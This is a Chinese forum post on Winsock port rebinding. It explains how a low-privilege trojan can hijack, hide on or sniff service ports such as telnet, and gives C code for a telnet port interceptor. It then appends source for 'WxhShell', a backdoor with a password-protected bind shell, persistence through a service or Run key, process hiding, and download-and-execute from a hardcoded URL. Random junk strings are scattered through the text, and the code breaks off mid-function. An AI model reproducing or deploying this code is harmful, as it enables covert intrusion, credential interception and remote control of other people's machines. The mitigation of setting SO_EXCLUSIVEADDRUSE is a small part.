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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: jwuSne  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {%RwZ'  
ooCfr?E  
  saddr.sin_family = AF_INET; ~ 588md :  
+.rE|)BPy  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qv >l  
Y4lNxvY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |VjD. ]I  
5/T#>l<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h Z/p'  
jK%Lewq  
  这意味着什么?意味着可以进行如下的攻击: bPkz=^-  
 @k#xr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T11>&K)  
Q~n%c7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3hEbM'L  
\/nSRAk  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -G'3&L4 D  
cXr_,>k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  I"Q U{]|J  
|+JC'b?,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }AiF 7N0  
'geN  dx  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 / %F,  
c+O:n:L  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I]pz3!On4,  
|Ho} D~  
  #include &' y}L'  
  #include RSw; b.t7  
  #include aWP9i &  
  #include    g5x>}@ONq7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   <(xro/  
  int main() 'F:Tv[qx  
  { x^ cJ~e2  
  WORD wVersionRequested; Fiw^twz5  
  DWORD ret; 3Tc90p l*t  
  WSADATA wsaData; ?%D nIl>  
  BOOL val; Z^%HDB9^  
  SOCKADDR_IN saddr; JW=q'ibR  
  SOCKADDR_IN scaddr; <^W5UU#Pg  
  int err; F}@]Lq+  
  SOCKET s; )jjaY1E  
  SOCKET sc; H;DjM;be  
  int caddsize; ^X"x,8}&V  
  HANDLE mt; A!uiM*"W  
  DWORD tid;   I*g[Y=  
  wVersionRequested = MAKEWORD( 2, 2 ); /YvwQ  
  err = WSAStartup( wVersionRequested, &wsaData ); #BgiDLh  
  if ( err != 0 ) { +CXq41g"c  
  printf("error!WSAStartup failed!\n");  H =&K_  
  return -1; V^>< =DNE  
  } Hq?dqg'%~  
  saddr.sin_family = AF_INET; v0bP|h[t  
   HV]u9nrt#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u?>8`]r  
xK5~9StP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7xO~v23oe  
  saddr.sin_port = htons(23); )YZx]6\l)  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n;:C{5  
  { =rkW325O  
  printf("error!socket failed!\n"); g@>93j=cZU  
  return -1; myd:"u,}9  
  } 0bSnD|#I  
  val = TRUE; rd=+[:7L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ",Fvv  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Sogt?]HB$  
  { `_]UlI_h  
  printf("error!setsockopt failed!\n"); 8.7lc2aX  
  return -1; \>{;,f  
  } +=nWB=iCb  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2p58_^l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o!c~"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'TA !JB+  
m6A\R KJ'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6 .[3N~pq  
  { ;hEeFJ=/G  
  ret=GetLastError(); 1F+JyZK}w  
  printf("error!bind failed!\n"); YTr+"\CkA  
  return -1; am7~  
  } 4AF.KX7  
  listen(s,2); `joyHKZI.  
  while(1) ,s:viXk  
  { /xB O;'rR  
  caddsize = sizeof(scaddr); FMWM:  
  //接受连接请求 Fr(;C>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); f9)0OHa  
  if(sc!=INVALID_SOCKET) a(G}<  
  { YlR9 1L X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %u2",eHCB  
  if(mt==NULL) 4[Wwm  
  { jw0wR\1  
  printf("Thread Creat Failed!\n"); PY&mLux%  
  break; m3&b)O7  
  } ,"YTG*ky  
  } JBLh4c3  
  CloseHandle(mt); 6fC Hd10!  
  } M 5`hMfg  
  closesocket(s); 2R;#XmKS  
  WSACleanup(); x,fL656t  
  return 0; WSGho(\  
  }   0Fsa&<{6?  
  DWORD WINAPI ClientThread(LPVOID lpParam) .S4%Q9l  
  { GLMpWD`Wo  
  SOCKET ss = (SOCKET)lpParam; Dz8aJ6g  
  SOCKET sc; }KEr@h,N  
  unsigned char buf[4096]; *u< ZQq  
  SOCKADDR_IN saddr; +/" \.wYv  
  long num; bU/YU0ZIT  
  DWORD val; 'T;;-M3*  
  DWORD ret; -D%mVe)&+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ry?f; s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~mv5{C  
  saddr.sin_family = AF_INET; N:Ir63X*#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ksUF(lYk  
  saddr.sin_port = htons(23); Q^* 3 3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .>LJ(Sx9b  
  { Z'|k M!  
  printf("error!socket failed!\n"); \l`{u)V  
  return -1; bL+}n8B  
  } 6)>otB8)J  
  val = 100; ofPv?_@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y! QYdf?  
  { _6g(C_m'T?  
  ret = GetLastError();  s=556  
  return -1; Py?Q::  
  } iJCv+p_f  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =hY/Yr%P  
  { 4U u`1gtz  
  ret = GetLastError(); I~;H'7|e  
  return -1; -zI9E!24  
  } Ka<J* k3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) oY7jj=z#T  
  { tk>J mcTw  
  printf("error!socket connect failed!\n"); M|{NC`fa  
  closesocket(sc); V7cr%tY5  
  closesocket(ss); mU.c!|Y  
  return -1; Dv&K3^~Rfb  
  } b/ h#{'  
  while(1) rj4R/{h  
  { {kr14 l*2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ff~1>=^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~qK/w0=j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \)ZCB7|  
  num = recv(ss,buf,4096,0); Z9Z\2t  
  if(num>0) MIb [}w=  
  send(sc,buf,num,0); <d >!%  
  else if(num==0) KKWv V4u  
  break; EBr?>hl  
  num = recv(sc,buf,4096,0); ;V?d;O4u  
  if(num>0) ;WgUhA ;q  
  send(ss,buf,num,0); Kx?8 HA[5  
  else if(num==0) _rmKvSD%  
  break; <y&&{*KW8m  
  } Ys&)5j-  
  closesocket(ss); ;k ,@^f8  
  closesocket(sc); :+"H h%  
  return 0 ; 2gR*]?C*  
  } @[Q`k=h$  
ydAiH*>  
`PSjk F(  
========================================================== 2<n@%'OQp  
aPQxpK?  
下边附上一个代码,,WXhSHELL g!9|1z  
l[rK)PM   
========================================================== I0!]J{  
<1 ;pyw y  
#include "stdafx.h" e+MQmW A'F  
yrd1J$  
#include <stdio.h> C7DwA/$D  
#include <string.h> <XN=v!2;  
#include <windows.h> ]'-y-kqY  
#include <winsock2.h> n7yp6 Db  
#include <winsvc.h> ml /S|`Drk  
#include <urlmon.h> nd7g8P9p  
^)(tO$S  
#pragma comment (lib, "Ws2_32.lib") 0=K8 nxdx  
#pragma comment (lib, "urlmon.lib") K9y~ e  
TPak,h(1  
#define MAX_USER   100 // 最大客户端连接数 ww #kc!'  
#define BUF_SOCK   200 // sock buffer C\B4Uu6q  
#define KEY_BUFF   255 // 输入 buffer j-.Y!$a%6  
8m=O408Q  
#define REBOOT     0   // 重启 OmS8cSYGc  
#define SHUTDOWN   1   // 关机 `#vbV/sM  
NRgVNE  
#define DEF_PORT   5000 // 监听端口 NFKvgd@  
;47z.i&T  
#define REG_LEN     16   // 注册表键长度 > >KCd  
#define SVC_LEN     80   // NT服务名长度 Ps{vN ~}  
a6 1!j>Kx  
// 从dll定义API O;|Cu7WU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bdG@%K',  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &b7_%,Bx4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HrfS^B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9%1J..c  
P,9Pn)M|  
// wxhshell配置信息 m^=El7+  
struct WSCFG { N/--6)5~0  
  int ws_port;         // 监听端口 T[#q0bv  
  char ws_passstr[REG_LEN]; // 口令 ?~!9\dek,  
  int ws_autoins;       // 安装标记, 1=yes 0=no n?;rWq"  
  char ws_regname[REG_LEN]; // 注册表键名 xu%eg]  
  char ws_svcname[REG_LEN]; // 服务名  K[LuvS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )nFyHAy-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u05Yy&(f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1@JusS0^K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $EX(-!c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _(I6o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7D4tuXUq2  
NzTF2ve(  
}; i^V(LGQF  
egURRC!  
// default Wxhshell configuration v"Ax'()  
struct WSCFG wscfg={DEF_PORT, C/'w  
    "xuhuanlingzhe", 44|tCB`  
    1, Y]](.\ff  
    "Wxhshell", }a.j~>rq  
    "Wxhshell", u6 Lx3  
            "WxhShell Service", HD/!J9&  
    "Wrsky Windows CmdShell Service", %OHZOs  
    "Please Input Your Password: ", akU2ToP  
  1, 4^M"V5tDx  
  "http://www.wrsky.com/wxhshell.exe", /-G_0 A2wF  
  "Wxhshell.exe" ai-rF^ehC  
    }; ,&qC R sw  
eZN"t~\rX  
// 消息定义模块 }m~MN4 l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @un+y9m[C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S2_(lS+R  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L+(ng  
char *msg_ws_ext="\n\rExit."; ~!!| #A)W  
char *msg_ws_end="\n\rQuit."; |ns?c0rM  
char *msg_ws_boot="\n\rReboot..."; >]z^.U7=  
char *msg_ws_poff="\n\rShutdown..."; Z6A-i@  
char *msg_ws_down="\n\rSave to "; nSC2wTH!1  
JXYZ5&[  
char *msg_ws_err="\n\rErr!"; > pP&/  
char *msg_ws_ok="\n\rOK!"; "=T &SY  
d Rnf  
char ExeFile[MAX_PATH]; XWyP'\  
int nUser = 0; _lFw1pa#\  
HANDLE handles[MAX_USER]; l $"hhI8  
int OsIsNt; "\KBF  
IA({RE  
SERVICE_STATUS       serviceStatus; _]pu"hZz4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P(TBFu  
XclTyUGoK+  
// 函数声明 8.Y|I5l7G  
int Install(void); aR/?YKA  
int Uninstall(void); RZ xwr  
int DownloadFile(char *sURL, SOCKET wsh); =R|XFZ,  
int Boot(int flag); %0N HU`j  
void HideProc(void); W ';X4e  
int GetOsVer(void); i >s  
int Wxhshell(SOCKET wsl); -p.\fvip  
void TalkWithClient(void *cs); ZcQu9XDIt  
int CmdShell(SOCKET sock); DQm%=ON7  
int StartFromService(void); e)g &q'O  
int StartWxhshell(LPSTR lpCmdLine); V L$ T  
$ VP1(C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OmO#} k<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G7Sw\wW  
"cPg_-n  
// 数据结构和表定义 uMS+,dXy  
SERVICE_TABLE_ENTRY DispatchTable[] = ?! 6Itkg  
{ $t(v `,  
{wscfg.ws_svcname, NTServiceMain}, '.(Gg%*\.  
{NULL, NULL} hN &?x5aC>  
}; Bhd)# P  
JHt U"  
// 自我安装 EZ]4cd/i  
int Install(void) EN2SI+  
{ U5OX.0  
  char svExeFile[MAX_PATH];  pUb1#=  
  HKEY key; ^hmV?a:Y  
  strcpy(svExeFile,ExeFile); _wS=*-fT  
(^m] 7l  
// 如果是win9x系统,修改注册表设为自启动 0!_?\)X  
if(!OsIsNt) { #e|o"R;/`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2 HEU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "J1A9|  
  RegCloseKey(key); ?<TJ}("/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 49$<:{~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y(.e e%;,  
  RegCloseKey(key); h @!p:]  
  return 0; hx$61 E=  
    } 7GYf#} N  
  } :^v Q4/,  
} jTvcKm|q  
else { %+N]$Q  
*;Mi/^pzK  
// 如果是NT以上系统,安装为系统服务 |'nQvn:{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VAz4@r7hkq  
if (schSCManager!=0) 4a+gM._+O  
{ b-sN#'TDg  
  SC_HANDLE schService = CreateService Pwl*5/l  
  ( ` 3qf}=Z`  
  schSCManager, <m]0!ii  
  wscfg.ws_svcname, d-D,Gx]>$  
  wscfg.ws_svcdisp, H@=oVyn/  
  SERVICE_ALL_ACCESS, ZH_$Q$9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (?7=,A7^  
  SERVICE_AUTO_START, d +D~NA[M  
  SERVICE_ERROR_NORMAL, oLT#'42+H  
  svExeFile, t]$n~!  
  NULL, usB*Wn8  
  NULL, w={q@. g%  
  NULL, o@e/P;E  
  NULL, d_@ E4i  
  NULL i[!|0U`p  
  ); J rx^  
  if (schService!=0) g<W]NYm  
  { $nO~A7  
  CloseServiceHandle(schService); rPaJ<>Kz  
  CloseServiceHandle(schSCManager); &q-&%~E@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  AG@gOm  
  strcat(svExeFile,wscfg.ws_svcname); \9)5b8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hd|[>4Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <l{oE? N  
  RegCloseKey(key); 0Z1ksfLU  
  return 0;  ES~b f  
    } u}[ a  
  } q!y.cyL  
  CloseServiceHandle(schSCManager); aDF@A S  
} P}v ;d]  
} :> 0ywg  
pAE (i7  
return 1; yV(#z2|  
} ]F4QZV( M  
,|:.0g[n  
// 自我卸载 gwoe1:F:J  
int Uninstall(void) *#T: _  
{ k83K2> ]  
  HKEY key; HAxLYun(3w  
mr\,"S-`  
if(!OsIsNt) { |nefg0`rk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (,U|H`  
  RegDeleteValue(key,wscfg.ws_regname); 6]brL.eGj  
  RegCloseKey(key); MXaF q K<Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fEHFlgN3Ap  
  RegDeleteValue(key,wscfg.ws_regname); &B{zS K$N  
  RegCloseKey(key); Qn*l,Z]US  
  return 0; ]<;7ZNG"Y5  
  } _z@/~M(  
} msBoInhI  
} MzIDeZ  
else { EN!C5/M{&  
41X`.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qVC+q8  
if (schSCManager!=0) E>bkEm  
{ 8R MM97@1Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r3'J{-kl  
  if (schService!=0) r%U6,7d=)  
  { {r_HcI(h  
  if(DeleteService(schService)!=0) { 0;bdwIP3  
  CloseServiceHandle(schService); c RLw)"|  
  CloseServiceHandle(schSCManager); _J1\c~ke"  
  return 0; 6!\V|  
  } >v+1 v  
  CloseServiceHandle(schService); a !VWWUTm?  
  } ip-X r|Bq  
  CloseServiceHandle(schSCManager); |a{; <a  
} Nny*C`uDF  
} ;ElCWs->\  
W=+n |1  
return 1; @xWWN  
} Bb/if:XS  
cMY}Y [2c  
// 从指定url下载文件 rN}pi@  
int DownloadFile(char *sURL, SOCKET wsh) & kC  
{ /~NX<Ye&  
  HRESULT hr; A6z ,6v6  
char seps[]= "/"; (47?lw &  
char *token; 4Zbn8GpC  
char *file; {=GmXd%D  
char myURL[MAX_PATH]; !Cr3>tA  
char myFILE[MAX_PATH]; D6bYg `  
|+ F ~zIu'  
strcpy(myURL,sURL); 1#d2 +J*  
  token=strtok(myURL,seps); /e2zH  
  while(token!=NULL) \ S;[7T  
  { $JY \q2  
    file=token; OJ&'Z}LB  
  token=strtok(NULL,seps); w;O-ATUzN  
  } cGlN*GJ*H  
+#Pb@^6"m  
GetCurrentDirectory(MAX_PATH,myFILE); Kv@P Uzu  
strcat(myFILE, "\\"); Nf] ?hfJ  
strcat(myFILE, file); ;fNCbyg4 I  
  send(wsh,myFILE,strlen(myFILE),0); $s7U |F,I  
send(wsh,"...",3,0); >Scyc-n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t% qep|  
  if(hr==S_OK)  =yod  
return 0; ^Q8yb*MN  
else UR'[?  
return 1; `%Ih'(ne  
VIAq$iu7  
} EH844k8 p  
mjD^iu8?  
// 系统电源模块 _&-d0'+  
int Boot(int flag) r&LZH.$oh  
{ v'hc-Q9+>  
  HANDLE hToken; 0D,@^vw bK  
  TOKEN_PRIVILEGES tkp; v`|]57?A  
'zUV(K?2]  
  if(OsIsNt) { |m's)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); OJe!K:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]9YA~n\  
    tkp.PrivilegeCount = 1; u> {aF{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :E")Zw&sW3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vkG#G]Qs";  
if(flag==REBOOT) { E)*ht;u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &wQ;J)13  
  return 0; .YF1H<gwa  
} !ZTghX}D  
else { PNm@mC_fh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |+Wn5iT  
  return 0; [c B^6v  
} H'WYnhU&  
  } (_pw\zk>  
  else { g (w/  
if(flag==REBOOT) { (HRj0,/^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) beO Mln+R  
  return 0; &PC6C<<f  
} }d%CZnY&7  
else { V lx.C~WYn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }TTghE!  
  return 0; <+*0{8?0  
} y(|#!m?@  
} 3q%z  
zmhc\M ?z  
return 1; &{j!!LL  
} ?M:>2wl  
eA& #33  
// win9x进程隐藏模块 9^/Y7Wp/@  
void HideProc(void) `KZV@t  
{ N:lE{IvRJ  
,V1"Typ#<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *}]#E$  
  if ( hKernel != NULL ) ;.4y@?B  
  { 6Q:Wo)^!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q(n"r0)=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }.g5zy  
    FreeLibrary(hKernel); kP`#zwp'Ci  
  } Zu"qTJE/1  
uw3vYYFX  
return; .))g]CH  
} WWp MuB_G  
y]Nk^ga:U6  
// 获取操作系统版本 =q VT  
int GetOsVer(void) tdK&vqq  
{ |Ahf 01  
  OSVERSIONINFO winfo; kN/YnY*J<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;a?<7LIx  
  GetVersionEx(&winfo); uB)q1QQsqp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `t/j6 e]  
  return 1; _*H Hdd5I  
  else CR$wzjP j  
  return 0; (?l ]}p^[  
} ec ;  
zTc;-,  
// 客户端句柄模块 l>;hQh  
int Wxhshell(SOCKET wsl) 4$iS@o|  
{ (xG%H:6,  
  SOCKET wsh; "mQp#d/'  
  struct sockaddr_in client; a]p9 [Nk  
  DWORD myID; VJ\qp%  
+c% jOl  
  while(nUser<MAX_USER) T+L=GnYl  
{ az ZtuDfv  
  int nSize=sizeof(client); O84:ejro  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (G F}c\=T7  
  if(wsh==INVALID_SOCKET) return 1; aV$kxzEc  
mo^E8t.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1'/ [x(/]d  
if(handles[nUser]==0) 93*d:W8Vr  
  closesocket(wsh); G_1r&[N3  
else <eXGtD  
  nUser++; bse`Xfg  
  } [;wJM|Z J0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kTH"" h{  
jSpj6:@B  
  return 0; l,J>[Q`<  
} s?HK2b^;D  
vD8pVR+  
// 关闭 socket %%K3J<5  
void CloseIt(SOCKET wsh) }Nr6oUn  
{ XncX2E4E  
closesocket(wsh); t{c:<nN  
nUser--; *+*W# de.  
ExitThread(0); ND1hZ3(^  
} x\'3UKQP+^  
RNc:qV<H  
// 客户端请求句柄 7G+!9^  
void TalkWithClient(void *cs) S*<Jy(:n  
{ ,a&,R*r@&  
+(= -95qZ  
  SOCKET wsh=(SOCKET)cs; ZP~H!  
  char pwd[SVC_LEN]; ZV--d'YiEm  
  char cmd[KEY_BUFF]; sgO au\E  
char chr[1]; E#_/#J]UQn  
int i,j; no8\Oees  
"_&ZRcd*  
  while (nUser < MAX_USER) { Y$>NsgQn6  
/Pe xtj<  
if(wscfg.ws_passstr) { E0I/]0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _]@u)$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $,K@xq5  
  //ZeroMemory(pwd,KEY_BUFF); DY#195H  
      i=0; w4P;Z-Cd  
  while(i<SVC_LEN) { I8! .n  
GZi`jp  
  // 设置超时 gM&O dT+i  
  fd_set FdRead; @2T8H  
  struct timeval TimeOut; }vh <x6  
  FD_ZERO(&FdRead); _FOIMjh%N  
  FD_SET(wsh,&FdRead); d:hnb)I$*  
  TimeOut.tv_sec=8; .#~!w!T  
  TimeOut.tv_usec=0; 8XYxyOl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +c/!R|h=S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 693"Pg8b  
2->Lz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SZTn=\  
  pwd=chr[0]; 0uD3a-J  
  if(chr[0]==0xd || chr[0]==0xa) { 'Y @yW3K  
  pwd=0; S(CkA\[rz  
  break; SZXSVz0j  
  } 6:wk=#w  
  i++; rmggP(  
    } 2pmj*Y3"8  
K&&T:'=/  
  // 如果是非法用户,关闭 socket (.=ig X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7>z {2D  
} J;~YD$  
Aa_@&e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [;Ih I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;:Z5Ft m  
iT:i '\~  
while(1) { rrz([2E2  
l7uTk5  
  ZeroMemory(cmd,KEY_BUFF); @k{q[6c2 n  
YCE *Dm  
      // 自动支持客户端 telnet标准   $VQ;y|K+[  
  j=0; DTH}=r-  
  while(j<KEY_BUFF) { LpY{<:y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^~N:lW#=  
  cmd[j]=chr[0]; tm/ >H  
  if(chr[0]==0xa || chr[0]==0xd) { /RJ]MQ\*O  
  cmd[j]=0; 3\4e{3$  
  break; vv&< 7[  
  } 2H w7V3q  
  j++; A{4,ih"5  
    } }j2;B 8j  
lusUmFm'*  
  // 下载文件 Pk;/4jt4  
  if(strstr(cmd,"http://")) { $}vzBuWHwN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j^#p#`m  
  if(DownloadFile(cmd,wsh)) Y!45Kio  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z$INmo6  
  else JmDxsb^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2FaCrc/  
  } N {{MMIq  
  else { 0^tY|(b3/M  
E`.hM}h  
    switch(cmd[0]) { bvJ@H Z$  
  Xg]Cq"RJC  
  // 帮助 Rd7U5MBEF  
  case '?': { lx4p Tw1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eI"pRH*f  
    break; 9]Ue%%vM  
  } h STcL:b   
  // 安装 _cJ)v/]  
  case 'i': { CyLwCS{V\  
    if(Install()) iS)-25M'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1#c Tk  
    else i`e[Vwe2x@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ROn@tW  
    break; UapU:>!"`  
    } VqvjOeCbH  
  // 卸载 .'A1Eoo0d  
  case 'r': { ;^bfLSWm{  
    if(Uninstall()) [ KgO:},c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z[w}PN,xV  
    else d)V8FX,t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uWKmINjv'  
    break; ;<m*ASM.3  
    } i$%Bo/Y   
  // 显示 wxhshell 所在路径 f8[O]MrO;  
  case 'p': { ;G}  
    char svExeFile[MAX_PATH]; ,x1OQ jtY  
    strcpy(svExeFile,"\n\r"); {H(l"KuL  
      strcat(svExeFile,ExeFile); .xwskzJ3  
        send(wsh,svExeFile,strlen(svExeFile),0); pTi7Xy!Cw  
    break; 9tv,,I;iU  
    } bwhH2^ !  
  // 重启 "[P3b"=gW  
  case 'b': { n_; s2,2r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5PZ!ZO&  
    if(Boot(REBOOT)) 0sU*3r?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aL[6}U0(}  
    else { Y!oLNGY  
    closesocket(wsh); }\S'oC\[  
    ExitThread(0); zMA;1Na  
    } wdP(MkaV  
    break; E"VF BKB  
    } rxX4Cw]\"y  
  // 关机 hsrf2Xw[  
  case 'd': { ^?H|RAp  
